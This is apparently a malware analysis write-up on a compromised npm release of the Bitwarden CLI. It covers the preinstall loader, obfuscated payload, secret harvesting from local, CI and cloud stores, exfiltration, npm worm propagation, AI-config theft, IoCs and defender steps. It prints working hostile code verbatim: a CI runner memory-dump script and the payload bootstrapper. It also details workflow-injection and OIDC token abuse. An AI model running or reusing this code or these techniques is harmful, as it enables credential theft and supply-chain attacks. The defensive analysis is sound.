Date: 2026-04-23
The npm package @bitwarden/cli@2026.4.0 contains a malicious install-time payload. The package adds a preinstall hook that runs a Node bootstrapper, downloads Bun if needed, then executes a large obfuscated Bun bundle named bw1.js.
This is a full supply-chain worm and secret exfiltration agent. It harvests local secrets, CI secrets, GitHub repository secrets, and cloud secret stores, then exfiltrates encrypted results and uses stolen npm tokens to publish infected package updates.
Attached artifacts in this gist:
- Deactivated reconstruction: intentionally broken, non-runnable rewrite preserving C2, persistence, stealing locations, cloud/GitHub/AI/npm flows.
- Pretty decoded tail: readable decoded tail used for behavioral analysis.
- Analysis
- External Confirmation
- Artifact
- Release Diff and Delivery
- Publication Path and Bitwarden GitHub Commit Question
- Static Decoding Method
- Pretty Decoded Artifact
- Deactivated Walkthrough Artifact
- Second-Stage Completeness Check
- Execution Chain
- Anti-Analysis and Persistence
- AI CLI and Prompt-Injection Assessment
- Local Secret Collection
- CI and GitHub Actions Targeting
- Cloud Secret Theft
- Exfiltration
- npm Worm Propagation
- High-Signal IoCs
- Public Correlation
- Defender Actions
- Appendix: bw_setup.js
- Appendix: K$ Propagated Bootstrapper
- Appendix: Gr GitHub Actions Workflow
- Detection Ideas
- Scanner Result
JFrog published an independent analysis on 2026-04-23: TeamPCP Campaign Spreads to npm via a Hijacked Bitwarden CLI.
Their public findings confirm the core package behavior in this report: preinstall and the bw binary are rewired to bw_setup.js, the loader bootstraps Bun and runs bw1.js, the payload targets developer/CI/cloud secrets, the primary exfiltration endpoint is audit[.]checkmarx[.]cx, GitHub is used for fallback/staging/exfiltration, and the embedded Bitwarden bundle still references 2026.3.0.
JFrog's post does not currently document the malicious Bitwarden workflow commit chain or the /home/kali/Ops/bitwarden/cli-2026.4.0.tgz registry metadata. Those remain separate publication-path findings from this investigation.
- Package:
@bitwarden/cli - Malicious version:
2026.4.0 - Known-good comparison used:
2026.3.0 bw1.jssize:10,154,904bytesbw1.jsSHA256:18f784b3bc9a0bcdcb1a8d7f51bc5f54323fc40cbd874119354ab609bef6e4cb- Added install hook:
preinstall: node bw_setup.js - VirusTotal:
https://www.virustotal.com/gui/file/18f784b3bc9a0bcdcb1a8d7f51bc5f54323fc40cbd874119354ab609bef6e4cb?nocache=1
The malicious delivery is visible in the release diff from 2026.3.0 to 2026.4.0.
High-level diff:
- Added
bw_setup.js. - Added
bw1.js. - Added
preinstall: node bw_setup.jstopackage.json. - Changed/deprecated the release with
DO NOT USE. - Changed
build/bw.jsby one byte, likely to avoid exact package similarity checks or force a tarball delta.
Added files:
bw1.js- Size:
10,154,904bytes - SHA256:
18f784b3bc9a0bcdcb1a8d7f51bc5f54323fc40cbd874119354ab609bef6e4cb
- Size:
bw_setup.js- Size:
4,293bytes - SHA256:
f35475829991b303c5efc2ee0f343dd38f8614e8b5e69db683923135f85cf60d
- Size:
The delivery chain is intentionally split:
- npm runs
preinstall. bw_setup.jslooks benign-ish as a runtime bootstrapper.- The bootstrapper downloads Bun from the official Bun GitHub release URL when Bun is not already installed.
- The bootstrapper extracts
bunorbun.exeinto the package working directory. - The bootstrapper executes the real payload:
bw1.js.
In propagated packages, the same bootstrapper logic is embedded as setup.mjs, while the real payload is copied into dist.js. The infected package then gets a rewritten script block:
{
"scripts": {
"preinstall": "node setup.mjs"
}
}The worm increments the patch version and publishes the rewritten tarball with a stolen npm token.
Diff command used locally:
target/debug/supply-stream history diff npm '@bitwarden/cli' \
--version 2026.4.0 \
--baseline 2026.3.0 \
--online \
--format markdownChecked and refreshed on 2026-04-23.
Updated correction: public commit evidence now shows a malicious Bitwarden workflow commit chain existed. The package still does not appear to have come from the normal Bitwarden release flow; instead, the commit chain appears designed to mint/leak a trusted-publisher npm token and stage a malicious tarball.
Registry metadata comparison:
@bitwarden/cli@2026.3.0hasgitHead: c20753e4dae029d6155565682dc79718f9aeb426.@bitwarden/cli@2026.3.0has npm provenance attestation metadata.@bitwarden/cli@2026.4.0hasgitHead: null.@bitwarden/cli@2026.4.0hasdist.attestations: null.@bitwarden/cli@2026.4.0was published at2026-04-22T21:22:59.021Z.- Current
dist-tags.latestis back to2026.3.0. - The malicious version has
_from: file:cli-2026.4.0.tgz. - The malicious version has
_resolved: /home/kali/Ops/bitwarden/cli-2026.4.0.tgz. - The malicious version has
_npmVersion: 9.2.0, unlike2026.3.0, which has_npmVersion: 11.12.1. - Both versions show
_npmUser.name: GitHub Actionsand the same npm trusted-publisher OIDC config id:oidc:8764ccf5-7f27-402d-bc11-59317b5995b1. - The malicious tarball root
package.jsonadvertises@bitwarden/cli@2026.4.0, but the embedded bundled CLI metadata insidebuild/bw.jsstill saysversion: 2026.3.0andbin.bw: build/bw.js. - That version mismatch strongly indicates a local repack of the legitimate
2026.3.0CLI build with a malicious root package wrapper, not a normal Bitwarden build pipeline output. - The registry tarball and the committed tarball both contain tar headers owned by
kali:kali. The registry packument also records_resolved: /home/kali/Ops/bitwarden/cli-2026.4.0.tgz. /home/kali/Ops/bitwarden/cli-2026.4.0.tgzis a local filesystem path, not a GitHub account. In context it strongly suggests the final tarball was assembled or published from a Linux host with userkali, likely an attacker-controlled Kali VM/workstation.
Public GitHub ref checks:
git ls-remote --tags https://github.com/bitwarden/clients.git '*cli*'showscli-v2026.3.0as the latest CLI tag found.git ls-remote --tags https://github.com/bitwarden/clients.git '*2026.4*'only showedweb-v2026.4.0andweb-v2026.4.1.- GitHub API
matching-refs/tags/cli-v2026.4.0returned no matching public tag. - The clean
2026.3.0gitHeadresolves to a real Bitwarden commit, but the malicious2026.4.0package has no equivalent npmgitHead.
Public malicious commit chain:
47c6f59083d3851fa1f15970dc51cf4a15e55840(Update action, authored/committed as Isaiah Inuwa,2026-04-22T17:38:24Z) removes 42 workflow files, leaves only.github/workflows/publish-cli.yml, addsscripts/cli-2026.4.0.tgz, and changespublish-cli.ymlto trigger on tag pushes.- At
47c6f590..., the workflow publishesscripts/cli-2026.4.0.tgzwithnpm publish ... --provenance --access public. ea44eef9ffd5bfdc91a0d7ace805fb73f5855c4dremoves the Node setup andnpm@latestinstall from that workflow.ed1164f7adb50850813bf7904891d1f182413e2dchanges the workflow to manually request a GitHub Actions OIDC token with audiencenpm:registry.npmjs.org, exchange it at npm's OIDC token endpoint for@bitwarden/cli, set it as//registry.npmjs.org/:_authToken, and runnpm publish.d5b8f8c0164bcc4f7ffc2c1dbcedc380aced69adhardcodes the publish target toscripts/cli-2026.4.0.tgz.03df1ecd86132e06643d24c856d8976d1b497945addsecho $NPM_TOKEN | base64 -w 0 | base64 -w 0, copies the tarball to/tmp, changes directory, and attempts another publish.- No current branch contains
47c6f590...or03df1ecd..., and no PR is associated with either commit through the public API. This is consistent with use of a temporary branch/tag that was later deleted. - Public events show a
web-tagdeletion byaDrupont4191at2026-04-22T22:01:26Z; because deleted tag refs are no longer available, public data does not prove whether that tag pointed to this malicious chain. - The committed
scripts/cli-2026.4.0.tgzat03df1ecd...is not byte-identical to the npm registry tarball. It has the same file layout andkali:kalitar ownership but has a malformed rootpackage.json("bin": {:), while the registry tarball has valid JSON. - Committed GitHub tarball hashes: SHA1
82d0a0339e7aa515a91222756fc30b29081d98e9, SHA256d0fc45d6c8bfbdff27af9ab2dc0586dfb1df36446f72b99b060dea9176f8a0cc, Git blobd0eb8cb066612191e5a7ab86bd13802303307f87. - npm registry tarball hashes: SHA1
f91ad8b67f529cb3439194653b3f45123c0ba715, SHA25699ac962005550130398d55af2527d839e73489bc7911e7c2c37474d979aaf43f, Git blob if committed would be60c498bf3d36e33e3d472f3553e530ae5cae80f0. - Extracted file comparison shows every file is byte-identical except
package.json. Matching files includebw1.js(18f784b3bc9a0bcdcb1a8d7f51bc5f54323fc40cbd874119354ab609bef6e4cb) andbw_setup.js(f35475829991b303c5efc2ee0f343dd38f8614e8b5e69db683923135f85cf60d). - The npm registry tarball is available from
https://registry.npmjs.org/@bitwarden/cli/-/cli-2026.4.0.tgz; npm metadata recordsfileCount: 13,unpackedSize: 24975057, and integritysha512-Ynplqxbecr4e3c8rtJxYAIcgmQfQ7bQS2441TvjCMLj4CdzfwHs4LVNH8zzQNuxf7/bgHkpUE+B/txZZ6xdNAg==. - GitHub code search found no public occurrence of the corrected npm tarball SHA1/SHA256/blob hash, so the corrected tarball currently appears only in npm registry metadata, not as a public Bitwarden Git blob.
Normal Bitwarden CLI publish path comparison:
- The public
publish-cli.ymlworkflow is manual-only (workflow_dispatch) and rejects non-dry-run publishes unless the ref isrefs/heads/rcorrefs/heads/hotfix-rc-cli. - Its
Publish NPMjob uses environmentCLI - NPM, grantsid-token: write, installsnpm@latest, downloads the GitHub release assetbitwarden-cli-${version}-npm-build.zip, then runsnpm publish --access public. - The clean
2026.3.0npm provenance decodes to workflow.github/workflows/publish-cli.yml, refrefs/heads/rc, eventworkflow_dispatch, Git commitc20753e4dae029d6155565682dc79718f9aeb426, and runhttps://github.com/bitwarden/clients/actions/runs/23913212591/attempts/1. - That known-good run is publicly visible as
Publish CLI Initial Publish; itsPublish NPMjob completed at2026-04-02T17:27:32Z, matching the npm publish time2026-04-02T17:27:31.694Z. - The malicious
2026.4.0attestation endpoint returns not found, despite the package metadata saying it was published byGitHub Actionsthrough trusted publisher identity.
Public commits and runs around the malicious publish:
- The npm publish time for
2026.4.0is2026-04-22T21:22:59.021Z. - No public
publish-cli.ymlrun is visible for2026-04-22..2026-04-23. - No public
CLI - NPMorCLI - Productiondeployment exists for2026.4.0; the latest public CLI npm/production deployments are for2026.3.0on2026-04-02. - Public Actions runs in the narrow
21:15Z..21:35Zwindow areRespond, PR/PR-target build checks, and anrcpush build fan-out. None isPublish CLI. - The only public
rccommit immediately after the publish isf5eb9802ae8b9b395fdc86a582e14cf06848c8f1, created at2026-04-22T21:23:59Z, about one minute after the npm publish. - That commit is
[PM-35330] Fix state not being updated on change kdf (#20259) (#20341)and touchesapps/cli/src/service-container/service-container.ts, Angular service wiring, and KDF tests/service code. It does not addbw_setup.js,bw1.js, publish logic, release assets, or package metadata. - The previous
rccommit in the checked window is37fc2354fdcc7d8a9343a2e7f44eaf6b68db1783at2026-04-22T20:53:04Z, a token-service/vault-timeout cherry-pick. It also does not touch the malicious package files. - One odd public event exists after the publish: branch
irlvzwiosmwas created and deleted byaDrupont4191at2026-04-22T21:57:21Z..21:57:22Z. Public events do not expose a commit SHA for that branch create/delete, and there is no current public evidence tying it to the npm publish.
Workflow risk note:
- Bitwarden has multiple workflows with
id-token: write, includingbuild-cli-target.yml, which is apull_request_targetwrapper that can callbuild-cli.ymlwith inherited secrets for fork PRs after a guard workflow. - npm trusted publishing is supposed to validate organization/user, repository, workflow filename, and optional environment name. The clean
2026.3.0provenance shows the accepted path waspublish-cli.yml, not a build workflow. - If attackers abused a different workflow, the missing piece would be npm trusted-publisher configuration history or npm/GitHub OIDC token logs showing the exact OIDC subject, workflow filename, environment, ref, run id, and SHA at publish time.
Working hypothesis:
- The attacker likely used a temporary Bitwarden ref/tag to run a modified
publish-cli.ymlthat hadid-token: writeand environmentCLI - NPM, then manually exchanged the GitHub OIDC token for an npm publish token. - The
03df1ecd...workflow prints the npm token double-base64, which would bypass normal exact-value log masking. That provides a plausible bridge from GitHub Actions trusted-publisher identity to a local attacker publish. - The final registry metadata (
_resolved: /home/kali/Ops/bitwarden/cli-2026.4.0.tgz,_npmVersion: 9.2.0, no provenance) fits a local manualnpm publishfrom the attacker-controlledkalihost using the OIDC-derived npm token, rather than a successful in-runnpm publish --provenance. - The committed tarball appears to be a staging artifact or earlier broken build; the final npm tarball appears to be a corrected repack built from the same Kali environment.
- Final confirmation requires private audit data: GitHub Actions run logs/deletion logs for the malicious tag/ref, environment approval logs for
CLI - NPM, GitHub OIDC token issuance details, npm OIDC exchange logs, npm publish logs, actor/ref/workflow/run id/SHA, user agent, source IP, and whether the double-base64 token appeared in logs.
Separate GitHub commit behavior in the malware:
- The payload can create commits in victim-accessible repositories using stolen GitHub PATs with push access.
- It spoofs committer metadata as
dependabot[bot], but push authorization comes from the stolen token, not from Dependabot. - It uses a temporary branch
dependabout/github_actions/format/setup-formatter, writes.github/workflows/format-check.yml, waits for the workflow artifact, then deletes the run and branch. - These malware-created commits explain the public GitHub commit artifacts seen in the broader campaign. They do not prove that the malicious Bitwarden package itself was committed to Bitwarden's repository.
The payload was not executed. The analysis used static decoding only.
bw1.js is a one-line Bun bundle with two layers of string obfuscation:
- A large string table returned by
_0x1ee1(). - A decoder function
_0x214e(...), aliased as_0xbae802, which indexes the table and decodes base64/URI-encoded strings.
Static decode steps:
- Extracted only
_0x1ee1()and_0x214e()from the bundle. - Ran only those decoder helpers and the table-rotation IIFE in a sandboxed Node VM context.
- Replaced literal
_0xbae802(0x...)/_0x214e(0x...)calls with decoded strings. - Decoded the custom scrambled-string helper used by arrays like
__decodeScrambled([ ... ]). - The scrambled helper used a deterministic PRNG seed of
0x3039. - Extracted embedded gzip/base64 payloads and decompressed them offline.
Embedded decoded payloads included:
K$: the secondary bootstrapper used for worm propagation. It downloads Bun and executesdist.js.T$: the manifesto appended into.bashrcand.zshrc.hr: Python script used on GitHub Actions Linux runners to dump readable memory from theRunner.Workerprocess.Fr: RSA public key used to encrypt exfiltrated result keys.Er: RSA public key used to verify signed fallback-domain GitHub commit messages.Gr: GitHub Actions workflow used to dump repository secrets into an uploaded artifact.
Decoded embedded gzip/base64 inventory:
| Name | Decoded size | SHA256 | Role |
|---|---|---|---|
Er |
800 bytes | c55a10759f6f415a536940a75f42aa372878a51f8eb97468551eabf6d88ae492 |
fallback-domain signature verification public key |
hr |
959 bytes | 29ac906c8bd801dfe1cb39596197df49f80fff2270b3e7fbab52278c24e4f1a7 |
GitHub Actions Runner.Worker memory dump Python script |
Fr |
800 bytes | 9c545277aad5b1d24a2e10666421f6e9c36105a7829f85f2560eaec3ac03d071 |
exfil result-key encryption public key |
T$ |
3,556 bytes | 84e4d55cc48638236628adb442c33282912cf24dd4c8b35f278fd0932dfcbd7a |
manifesto / shell-profile text |
K$ |
4,293 bytes | 969c19d1cae675df27e5237608353c51d4ca7972dc4523e15d57519045014e44 |
propagated package bootstrapper |
Gr |
472 bytes | 6bb98cc667afc7551937d7df7653c59340a022d5e8d109ae37607b3989cddac6 |
GitHub Actions secret-dump workflow |
The gist includes bw1-tail.decoded.pretty.js as a separate file. This is the readable decoded tail used for most behavioral analysis, including the filesystem collector, GitHub Actions targeting, exfiltration flow, npm propagation logic, and the dormant AI CLI probing class.
It is intentionally not pasted into this Markdown body or a gist comment because the raw decoded payload is still malware and the full decoded bundle is about 10 MB. The attached pretty file is a 76 KB analysis artifact, not the full one-line bundle.
Artifact details:
- File:
bw1-tail.decoded.pretty.js - Size: 76,282 bytes
- Lines: 1,019
- SHA256:
86699f3cce7c5e4ddd4218904833beef029d9b4448846949238c8118094de5e8 - Persistent local copy:
.supply-stream-data/reports/analysis/npm/%40bitwarden%2Fcli/2026.4.0-bw1-tail.decoded.pretty.js - Local analysis source:
/tmp/bw1-tail.decoded.pretty.js - Full decoded one-line bundle:
/tmp/bw1.full.decoded.js - Full decoded line-expanded bundle:
/tmp/bw1.full.decoded.lines.js
The gist also includes appendix-2026.4.0-bw1-deactivated-walkthrough.broken.js. This is a fuller, intentionally non-runnable, code-shaped reconstruction of the decoded payload behavior.
It is safer to share than the full decoded 10 MB bundle because:
- The syntax is deliberately broken.
- It contains no imports.
- Network, process, filesystem, GitHub, cloud, and npm operations are represented as
DISABLED_*placeholders. - It preserves C2 visibility, fallback routing, persistence locations, stealing locations, CI/GitHub targeting, cloud targeting, AI/MCP targeting, and npm propagation flow without preserving runnable attacker implementation.
Artifact details:
- File:
appendix-2026.4.0-bw1-deactivated-walkthrough.broken.js - Size: 19,590 bytes
- Lines: 526
- SHA256:
2ce0be54c82ede97c0c5a00dae0202674400e0f8c1278f9dee01d7c2eaaffeb6 - Persistent local copy:
.supply-stream-data/reports/analysis/npm/%40bitwarden%2Fcli/appendix-2026.4.0-bw1-deactivated-walkthrough.broken.js
Static review did not find evidence of an additional remote second-stage payload beyond the package-local bw1.js payload and the known embedded components above.
What was checked:
- All
Bun.gunzipSync(Buffer.from(..., "base64"))blobs in the decoded bundle were extracted and classified. - The only embedded executable/script components are
K$,hr, andGr. - The install-time network-to-exec path downloads Bun from the official Bun GitHub release URL, then executes local
bw1.js. - The propagated-package network-to-exec path in
K$downloads Bun, then executes localdist.js. - No C2 response, GitHub search result, telemetry response, npm API response, or package metadata response was found flowing into
eval,Function, dynamicimport,vm,child_process, or Bun execution.
Important caveat: the malware does download npm package tarballs during worm propagation, rewrites those local package contents, and publishes new infected tarballs. That is propagation behavior, not a C2-delivered second-stage code update.
Important decoded string-array values:
- Default exfil domain:
audit.checkmarx.cx - Default exfil path:
v1/telemetry - Shell command collector:
gh auth token - Propagated install script:
node setup.mjs - Propagated tarball name:
package-updated.tgz
package.jsonrunsnode bw_setup.jsduring install.bw_setup.jsdownloads Bun1.3.13from GitHub if Bun is unavailable.- The bootstrapper executes
bw1.jswith Bun. - The payload performs anti-analysis and environment checks.
- On non-CI systems, it daemonizes itself and uses a temp lock file to prevent duplicate instances.
- It collects secrets locally and from cloud/SCM APIs.
- It exfiltrates results through HTTPS or GitHub commits.
- It uses stolen npm tokens to infect other packages.
- Russian locale kill switch via
Intl.DateTimeFormat,LC_ALL,LC_MESSAGES,LANGUAGE, andLANG. - Detached background process using
child_process.spawn(..., { detached: true, stdio: "ignore" }). - Environment marker:
__DAEMONIZED=1. - Single-instance lock file:
tmp.987654321.lock. - No-op handlers for
SIGINTandSIGTERM. - Writes a manifesto into shell startup files (
.bashrc,.zshrc) using an embedded gzip payload.
There is AI-tool targeting, but I do not see active prompt injection into project instructions or model memory in this sample.
Active behavior:
- The filesystem collector reads AI/MCP configuration files, including
~/.claude/mcp.json,~/.claude.json,.claude.json,~/.kiro/settings/mcp.json, and.kiro/settings/mcp.json. - This means Claude/Kiro/MCP server configuration and any secrets embedded there should be considered exposed.
- The fallback path calls
new N$().execute(), which appends the embedded manifestoT$into~/.bashrcand~/.zshrc.
Present but apparently unused in the observed control path:
- Class
N$contains routines for probing local AI CLIs: Claude Code, Gemini CLI, Codex CLI, Kiro CLI, Aider, and OpenCode. - It defines this prompt:
Hey! Just making sure you're here. If you are can you respond with 'Hello' and nothing else? - It builds commands such as
claude --prompt-from-stdin --no-confirmation,codex ask,gemini,kiro-cli chat,aider --chat, andopencode ask. - I found no call site for
checkAiConnections()orinvokeAiCli()outside the class. The only observed call isnew N$().execute(), which performs shell persistence/defacement, not AI prompting.
Assessment:
- This is not classic prompt injection like writing malicious instructions into
CLAUDE.md,AGENTS.md, README, or MCP config. - It is AI-environment reconnaissance and credential/config theft, with dormant or unfinished AI CLI probing code.
- Defenders should still search for exposed AI config and MCP secrets, because those files are explicitly collected.
The payload reads high-value local files and environment data, including:
.env.npmrc- Git credentials
- SSH private key paths and known hosts
- Shell history
- AWS credentials
- GCloud credential database
- Claude and Kiro configuration files
- Full
process.env gh auth token
It scans collected data for npm and GitHub tokens.
The payload detects many CI providers and has specific GitHub Actions logic.
On Linux GitHub Actions runners, it attempts a privileged memory/process scrape for entries shaped like secret values:
- Uses
sudo python3 - The embedded Python script searches
/proc/*/cmdlineforRunner.Worker, opens/proc/<pid>/mapsand/proc/<pid>/mem, and writes readable memory ranges to stdout. - Pipes through
tr -d '\0' - Greps for JSON fragments containing
isSecret:true - Filters out
github_tokenandsystem.github.token
Recovered embedded hr Python script, verbatim:
import sys
import os
import re
def get_pid():
pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]
for pid in pids:
with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
if b'Runner.Worker' in cmdline_f.read():
return pid
raise Exception('Can not get pid of Runner.Worker')
pid = get_pid()
map_path = f"/proc/{pid}/maps"
mem_path = f"/proc/{pid}/mem"
with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
for line in map_f.readlines():
m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
if m.group(3) == 'r':
start = int(m.group(1), 16)
end = int(m.group(2), 16)
if start > sys.maxsize:
continue
mem_f.seek(start)
try:
chunk = mem_f.read(end - start)
sys.stdout.buffer.write(chunk)
except OSError:
continueWith a stolen GitHub PAT that has workflow scope, it also enumerates repositories and injects a temporary workflow that serializes ${{ toJSON(secrets) }} into an uploaded artifact named format-results.
GitHub Actions workflow-injection details:
- Repository enumeration API:
GET /user/repos - Repository affiliations:
owner,collaborator,organization_member - Sort order: recently pushed repositories, descending.
- Hardcoded lower bound:
since=2025-09-01T00:00:00Z - Candidate limit: stops after 200 repositories.
- Requires repository
permissions.push. - Secret pre-check APIs:
GET /repos/{owner}/{repo}/actions/secretsandGET /repos/{owner}/{repo}/actions/organization-secrets - Workflow execution is limited to repositories where at least one repository or organization Actions secret name is visible.
- Workflow execution concurrency: 5 repositories at a time.
- Temporary branch:
dependabout/github_actions/format/setup-formatter - Workflow path:
.github/workflows/format-check.yml - Commit message:
Add formatter workflow - Committer name:
dependabot[bot] - Committer email:
dependabot[bot]@users.noreply.github.com - Run lookup:
GET /repos/{owner}/{repo}/actions/runsfiltered to the temporary branch. - Artifact lookup:
GET /repos/{owner}/{repo}/actions/runs/{run_id}/artifacts - Artifact download:
GET /repos/{owner}/{repo}/actions/artifacts/{artifact_id}/zip - Cleanup: deletes the workflow run and deletes
refs/heads/dependabout/github_actions/format/setup-formatter.
Timing:
- Waits 2 seconds before polling for workflow appearance.
- Polls workflow appearance up to 10 times.
- Polls workflow completion up to 60 times with 5 second delay.
The bundle includes SDK clients and collectors for:
- AWS Secrets Manager: lists secrets and calls
GetSecretValue. - AWS SSM Parameter Store: calls
DescribeParametersandGetParameterwithWithDecryption: true. - Azure Key Vault: discovers subscriptions and vaults, then reads secrets.
- GCP Secret Manager: lists secrets and calls
accessSecretVersion(.../versions/latest).
Primary HTTPS exfiltration:
- Domain:
audit.checkmarx.cx - Publicly reported IP:
94.154.172.43 - Path:
v1/telemetry - Port:
443 - Readiness check expects HTTP
405
Data encryption:
- JSON serialize results.
- Gzip.
- AES-256-GCM with random key and IV.
- RSA-OAEP encrypts the AES key using an embedded public key.
- Sends base64 envelope and encrypted key as JSON.
Fallback domain discovery:
- Searches public GitHub commits for signed messages beginning with
beautifulcastle. - Validates signatures with an embedded public key.
- Uses the signed message as a replacement exfiltration domain.
- This is a signed rendezvous/domain-replacement mechanism. Static review did not find it retrieving executable payloads.
GitHub commit exfiltration:
- Creates public GitHub repositories.
- Description:
Shai-Hulud: The Third Coming. - Commits encrypted result batches under
results/results-<timestamp>-<counter>.json. - Uses commit message
Add files.by default. - Uses
LongLiveTheResistanceAgainstMachines:<double-base64-token>when leaking a usable GitHub token.
The payload validates stolen npm tokens by calling:
https://registry.npmjs.org/-/npm/v1/tokenshttps://registry.npmjs.org/-/whoami
It requires:
bypass_2fa === true- package write permission
For writable packages, it:
- Downloads latest package tarballs.
- Extracts each package.
- Copies the current Bun payload into
package/dist.js. - Writes a bootstrapper as
setup.mjs. - Rewrites
package.jsonscripts topreinstall: node setup.mjs. - Bumps the patch version.
- Repackages as
package-updated.tgz. - Writes
.npmrcwith the stolen npm token. - Runs
bun publish.
This makes any stolen npm token with bypass-2FA write permissions a propagation engine.
bw_setup.jsbw1.jssetup.mjsdist.js__DAEMONIZEDtmp.987654321.lockaudit.checkmarx.cx94.154.172.43v1/telemetrybeautifulcastleShai-Hulud: The Third ComingLongLiveTheResistanceAgainstMachines:results/results-format-resultsformat-results.txttoJSON(secrets)dependabout/github_actions/format/setup-formatter.github/workflows/format-check.ymlAdd formatter workflowdependabot[bot]@users.noreply.github.comGET /repos/{owner}/{repo}/actions/secretsGET /repos/{owner}/{repo}/actions/organization-secretsowner,collaborator,organization_member2025-09-01T00:00:00Zgh auth tokenSecretManagerServiceClientaccessSecretVersionDescribeParametersWithDecryptionGetSecretValuepreinstall: node setup.mjsbun publish
Public reporting on the related Checkmarx/TeamPCP campaign matches the local static findings:
- Checkmarx reported
audit.checkmarx.cx => 94.154.172.43andcheckmarx.cx => 91.195.240.123as block indicators. - Socket reported
https://audit.checkmarx.cx/v1/telemetryas the exfiltration endpoint for the relatedmcpAddon.jspayload, plus GitHub repo exfiltration,LongLiveTheResistanceAgainstMachines:<encoded>commit messages, and the GitHub Actionsformat-resultssecret-dump workflow. - Public reports describe a separate Checkmarx VS Code/Open VSX delivery path that downloads
mcpAddon.jsfrom a GitHub orphan/backdated commit. In@bitwarden/cli@2026.4.0, the comparable large payload is already package-local asbw1.js; I did not find a further remote JS/ELF stage downloaded by this npm package.
Sources:
- https://checkmarx.com/blog/checkmarx-security-update-april-22/
- https://socket.dev/blog/checkmarx-supply-chain-compromise
If this package or a propagated package was installed on a developer host or CI runner:
- Revoke and rotate npm tokens, especially tokens with package write permission and
bypass_2fa. - Revoke and rotate GitHub PATs, OAuth tokens, deploy keys, and
gh authtokens exposed on the host. - Audit GitHub Actions runs for branch
dependabout/github_actions/format/setup-formatter, workflow path.github/workflows/format-check.yml, artifact nameformat-results, and output fileformat-results.txt. - Search GitHub repositories and commits for
Shai-Hulud: The Third Coming,LongLiveTheResistanceAgainstMachines:,results/results-, and Dune-themed public repositories created by compromised accounts. - Inspect all npm packages writable by exposed tokens for unexpected patch bumps containing
setup.mjs,dist.js, andpreinstall: node setup.mjs. - Block and hunt for
audit.checkmarx.cx,94.154.172.43,v1/telemetry, and GitHub commit searches forbeautifulcastle. - Rotate AWS, GCP, Azure, Kubernetes, Docker, SSH, and application secrets if installation happened on a cloud-authenticated host or CI runner.
Recovered from @bitwarden/cli@2026.4.0. Included for static analysis and detection authoring only; do not execute.
#!/usr/bin/env node
import { execFileSync } from "child_process";
import fs from "fs";
import https from "https";
import path from "path";
import zlib from "zlib";
const PLATFORM_MAP = {
linux: {
arm64: "bun-linux-aarch64",
x64: detectLinuxVariant(),
},
darwin: { arm64: "bun-darwin-aarch64", x64: "bun-darwin-x64" },
win32: { arm64: "bun-windows-aarch64", x64: "bun-windows-x64-baseline" },
};
function detectLinuxVariant() {
try {
if (
execFileSync("ldd", ["--version"], { stdio: "pipe" })
.toString()
.includes("musl")
) {
return "bun-linux-x64-musl-baseline";
}
} catch {}
try {
if (fs.readFileSync("/etc/os-release", "utf8").includes("Alpine")) {
return "bun-linux-x64-musl-baseline";
}
} catch {}
return "bun-linux-x64-baseline";
}
function get(url) {
return new Promise((resolve, reject) => {
https
.get(
url,
{ headers: { "User-Agent": "node" }, timeout: 120000 },
(res) => {
if (res.statusCode === 302 || res.statusCode === 301)
return get(res.headers.location).then(resolve, reject);
if (res.statusCode !== 200)
return reject(new Error(`HTTP ${res.statusCode} for ${url}`));
const chunks = [];
res.on("data", (c) => chunks.push(c));
res.on("end", () => resolve(Buffer.concat(chunks)));
res.on("error", reject);
},
)
.on("error", reject)
.on("timeout", () => reject(new Error("Request timed out")));
});
}
async function main() {
try {
execFileSync("bun", ["--version"], { stdio: "ignore" });
return;
} catch {}
const platform = PLATFORM_MAP[process.platform];
if (!platform) throw new Error(`Unsupported platform: ${process.platform}`);
const arch = platform[process.arch];
if (!arch) throw new Error(`Unsupported arch: ${process.arch}`);
const isWin = process.platform === "win32";
const binName = isWin ? "bun.exe" : "bun";
const assetName = `${arch}.zip`;
const entryName = `${arch}/${binName}`;
const BUN_VERSION = "1.3.13";
const downloadUrl = `https://github.com/oven-sh/bun/releases/download/bun-v${BUN_VERSION}/${assetName}`;
const zipBuf = await get(downloadUrl);
const binPath = path.join(process.cwd(), binName);
try {
execFileSync("unzip", ["-v"], { stdio: "ignore" });
const tmpZip = path.join(process.cwd(), "_bun_tmp.zip");
fs.writeFileSync(tmpZip, zipBuf);
execFileSync("unzip", ["-ojq", tmpZip, entryName, "-d", process.cwd()], {
stdio: "inherit",
});
fs.unlinkSync(tmpZip);
} catch {
extractFromZip(zipBuf, entryName, binPath);
}
if (!isWin) fs.chmodSync(binPath, 0o755);
execFileSync(binPath, ["bw1.js"], { stdio: "inherit" });
}
function extractFromZip(buf, entryPath, outPath) {
let cdOffset = buf.length - 22;
while (cdOffset >= 0 && buf.readUInt32LE(cdOffset) !== 0x06054b50) cdOffset--;
if (cdOffset < 0) throw new Error("Central directory not found");
const cdStart = buf.readUInt32LE(cdOffset + 16);
let offset = cdStart;
while (offset < buf.length - 4 && buf.readUInt32LE(offset) === 0x02014b50) {
const compression = buf.readUInt16LE(offset + 10);
const compressedSize = buf.readUInt32LE(offset + 20);
const fileNameLen = buf.readUInt16LE(offset + 28);
const extraLen = buf.readUInt16LE(offset + 30);
const commentLen = buf.readUInt16LE(offset + 32);
const localHeaderOffset = buf.readUInt32LE(offset + 42);
const fileName = buf
.slice(offset + 46, offset + 46 + fileNameLen)
.toString();
if (fileName.replace(/\\/g, "/") === entryPath) {
const localExtraLen = buf.readUInt16LE(localHeaderOffset + 28);
const dataOffset = localHeaderOffset + 30 + fileNameLen + localExtraLen;
let data = buf.slice(dataOffset, dataOffset + compressedSize);
if (compression === 8) data = zlib.inflateRawSync(data);
else if (compression !== 0)
throw new Error(`Unsupported compression: ${compression}`);
fs.writeFileSync(outPath, data);
return;
}
offset += 46 + fileNameLen + extraLen + commentLen;
}
throw new Error(`Entry "${entryPath}" not found in zip`);
}
main().catch((e) => {
console.error(e.message);
process.exit(1);
});Recovered from embedded gzip/base64 payload K$. It is the propagated-package bootstrapper and executes dist.js instead of bw1.js.
#!/usr/bin/env node
import { execFileSync } from "child_process";
import fs from "fs";
import https from "https";
import path from "path";
import zlib from "zlib";
const PLATFORM_MAP = {
linux: {
arm64: "bun-linux-aarch64",
x64: detectLinuxVariant(),
},
